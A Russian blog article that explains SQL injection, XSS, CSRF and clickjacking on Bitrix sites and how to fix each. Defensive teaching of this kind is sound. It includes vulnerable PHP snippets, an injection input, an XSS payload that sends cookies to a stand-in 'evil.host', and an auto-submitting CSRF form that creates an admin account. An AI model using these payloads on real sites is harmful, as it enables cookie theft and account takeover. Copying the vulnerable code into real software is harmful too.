Янв
13
2022

Уязвимости web приложений применительно к Битрикс

Разберу самые распространенные уязвимости, которые встречаются на сайтах, покажу какое отношение они имеют к Битрикс и как их избежать.

SQL инъекции

Суть уязвимости в том, что в SQL поступают не обработанные данные, которые меняют логику запроса.

Вероятность допустить инъекции в Битрикс низкая, потому что 99% запросов идут через готовые обертки, напрямую с базой данных работа идет редко.

Но, если вы сами генерируете SQL запросы, тут уже стоит быть очень внимательным.

Рассмотрим пример.

У вас страница и информацией о пользователе, на которой выводятся логин, ФИО, может даже и пароль. Код страницы такой:

$userId = $_GET['id'];

$res = $DB->Query('SELECT * FROM users WHERE id=' . $userId);

if ($arUser - $res->Fetch()) {
	// Показать пользователя
	
	if (intval($userId) === intval($authorizedUserId)) {
		// Показать так же логин и пароль
	}
} else {
	// Нет такого пользователя
}

ID пользователя передается через GET параметры. Если переданный ID равен ID авторизованного пользователя, то показываем так же логин и пароль. Проверяем страницу, передаем ID пользователей - всё работает как надо.

Теперь смотрите. Злоумышленник регистрируется на сайте, переходит в информацию о своем аккаунте, ссылка скажем у него "/users/info?id=345". Он ссылку модифицирует так: "/users/info?id=345 or 1=1". Что будет в таком случае? На странице отобразится первый пользователь в базе данных, при этом отобразятся логин и пароль.

Как так? Потому что конструкции or 1=1 подходят все записи, и база вернет все записи, а скрипт скорее всего выведет только первую, потому что в нем нет цикла. Код php intval("345 or 1=1") вернет 345, а это равно intval($authorizedUserId).

Как безопасно работать?

  1. Если вы ожидаете от пользователя цифру, сразу приводите к цифре данные. При первом же обращении к ним.
    В нашем случае строка $userId = $_GET['id']; должна выглядеть так: $userId = intval($_GET['id']);
  2. Если данные не получается форматировать, то экранируйте в запросе строку.
    Тогда запрос из такого: $DB->Query('SELECT * FROM users WHERE id=' . $userId)
    Превратится в такой: $DB->Query("SELECT * FROM users WHERE id='" . $DB->ForSql($userId) . "'")
  3. Не используйте свои запросы без необходимости, пользуйтесь готовым функционалом. Например, в Битрикс есть метод CUser::GetByID($userId).

Если не уверены в безопасности своих запросов, пытайтесь сами сломать их. Передавайте от лица злоумышленника что попало в свое приложение. Как минимум кавычки, пробелы, слеши (' " \"\' /' /" or and 1=1)...

XSS

Уязвимость в том, что на страницу выводятся данные от пользователя без обработки. А в пользователь, например, может javascript сохранить, который будет выполняться даже у администраторов, которые посещают зараженную страницу.

Представим ситуацию. Пользователь в форме указывает ссылку на картинку, мы ссылку сохраняем в базу, а потом картинки выводим на странице.

Код:

while ($arImage = $res->Fetch()) {
	echo '<img src="'.$arImage['SRC'].'" class="user-image">';
}

Пока в ссылке нет кавычки, то всё идет как надо. Если кавычка появляется, то как минимум ломается верстка. А может быть и по-другому.

Злоумышленник сохраняет такую ссылку:

https://vk.com/favicon.ico" onload="document.insertAdjacentHTML('beforeend', '<img src=http://evil.host/image.php?cookie=' + document.cookie)

Этот код вставляет иконку ВКонтакте на страницу, а после того как иконка загружается, отправляет куки зашедшего пользователя на сайт злоумышленника. Даже тег <script> не используется. И похитить куки это еще самое безобидное, возможности тут безграничны.

Чтобы предотвратить атаку, необходимо экранировать данные перед выводом. В битрикс есть функция htmlspecialcharsbx(), которая является аналогом htmlspecialchars, только сразу указана кодировка сайта.

В нашем случае строку echo '<img src="'.$arImage['SRC'].'" class="user-image">'; надо заменить на echo '<img src="'. htmlspecialcharsbx($arImage['SRC']).'" class="user-image">';

Если при выводе данных инфоблока вы используете метод GetNext(), то в нем уже есть преобразование HTML данных в безопасный вид. Небезопасные данные помечаются символом ~.

Чтобы проверить безопасность вашего кода, опять же попробуйте сами его сломать. Например, сохраните '" \'\"<h1>СЛОМАНО!</h1>, после смотрите на странице исходный HTML код - как там это выводится. Должно быть так:

&quot; \'\&quot;&lt;h1&gt;СЛОМАНО!&lt;/h1&gt;

CSRF

Суть атаки в том, что не проверяется источник принимаемых данных из форм. Сайт всегда доверяет приходящим данным и сохраняет их - что не верно.

Представим, что на сайте у админа есть форма добавления пользователей. Злоумышленник знает об этой форме, но доступа к аккаунту администратора у него нет.

Как выглядит сама форма, нам не особо важно, скрипт сохранения такой:

if (! empty($_POST) and $USER->IsAdmin()) {
	$user = [
		'ACTIVE' => 'Y',
		'LOGIN' => $_POST['login'],
		'EMAIL' => $_POST['email'],
		'PASSWORD' => $_POST['password'],
		'CONFIRM_PASSWORD' => $_POST['password'],
		'GROUP_ID' => $_POST['groups'],
	];
	
	$CUser = new CUser;
	
	if ($CUser->Add($user)) {
		echo 'Пользователь добавлен';
	} else {
		echo 'Произошла ошибка ' . $CUser->LAST_ERROR;
	}
}

Вроде как SQL инъекций нет, XSS нет. Сохранять данные может только админ - всё надежно. Но нет.

Плохой человек создает страницу на своем хакерском сайте с кодом:

<form action="http://magazin.ru/user/add" method="POST">
	<input type="hidden" name="login" value="hacker">
	<input type="hidden" name="email" value="hacker@mail.ru">
	<input type="hidden" name="password" value="qwerty123">
	<input type="hidden" name="groups[]" value="1">
	<input type="hidden" name="groups[]" value="2">
	<input type="hidden" name="groups[]" value="3">
	<input type="hidden" name="groups[]" value="4">
	<input type="hidden" name="groups[]" value="5">
	<input type="submit">
</form>
<script>document.querySelector('form').submit()</script>

После ссылку на эту страницу он дает админу, мол перейди по ссылке, смотри там котики какие. Админ переходит по ссылке, у него сразу отправляется форма на создание пользователя. А так как админ авторизован на своем сайте - то сразу создается аккаунт хакера с правами администратора.

Проблема тут в том, что сайт никак не может проверить кто заполнил форму на каком сайте. Для проверки в формы добавляют скрытое поле со специальным кодом, которое проверяется перед сохранением формы.

У каждого пользователя этот код свой, хакер не знает код админа. Поэтому посторонний человек форму отправить уже не может (точнее форму то он отправит, но данные не сохранятся. Сайт скажет - передан не верный код).

В битрикс в качестве такого защитного кода использует id сессии.

В нашем случае в форму надо добавить код:

<?=bitrix_sessid_post()?>

Код выше в форму добавит такое скрытое поле:

<input type="hidden" name="sessid" id="sessid" value="идентификатор сессии" />

В скрипте сохранения строку

if (! empty($_POST) and $USER->IsAdmin()) {

Заменить на

if (! empty($_POST) and check_bitrix_sessid() and $USER->IsAdmin()) {

Теперь никто не может подделать данные формы.

Clickjacking

Clickjacking - это уязвимость, когда происходит захват клика админа. Работает благодаря возможности вставить чужой сайт в iframe на своем сайте.

Работает так.

Злоумышленник вставляет на своем сайте через фрейм админку атакуемого сайта. Фрейм через стили устанавливается прозрачный и ставится поверх какой-то кнопки на сайте злоумышленника.

Злоумышленник отправляет ссылку на страницу своего сайта администратору. Администратор переходит по ссылке, нажимает на кнопку на сайте злоумышленника. Но так как поверх кнопки вставлен атакуемый сайт, клик происходит на атакуемом сайте от имени администратора.

Так злоумышленник может нажимать кнопки в админке от имени администратора.

Как исправить

Чтобы такой уязвимости на вашем сайте не было, надо применять заголовок X-Frame-Options. Он говорит браузеру, чтобы тот сайт во фрейме не открывал.

В Битрикс есть готовая настройка для этого, включается тут: Настройки - Проактивная защита - Защита от фреймов.

Бывает, что некоторые не компетентные программисты отключают эту защиту, потому что клиент жалуется, мол в яндекс метрике сайт не отображается.

Как оставить включенную защиту и починить метрику, я писал тут: https://r-morozov.ru/bitrix/nastraivaem-bitriks-dlya-yandeks-metriki-s-vkljuchennoj-zashhitoj-ot-frejmov/

Пожалуйста, оцените на сколько вам понравилась статья!
Голосов: 5 Среднее: 5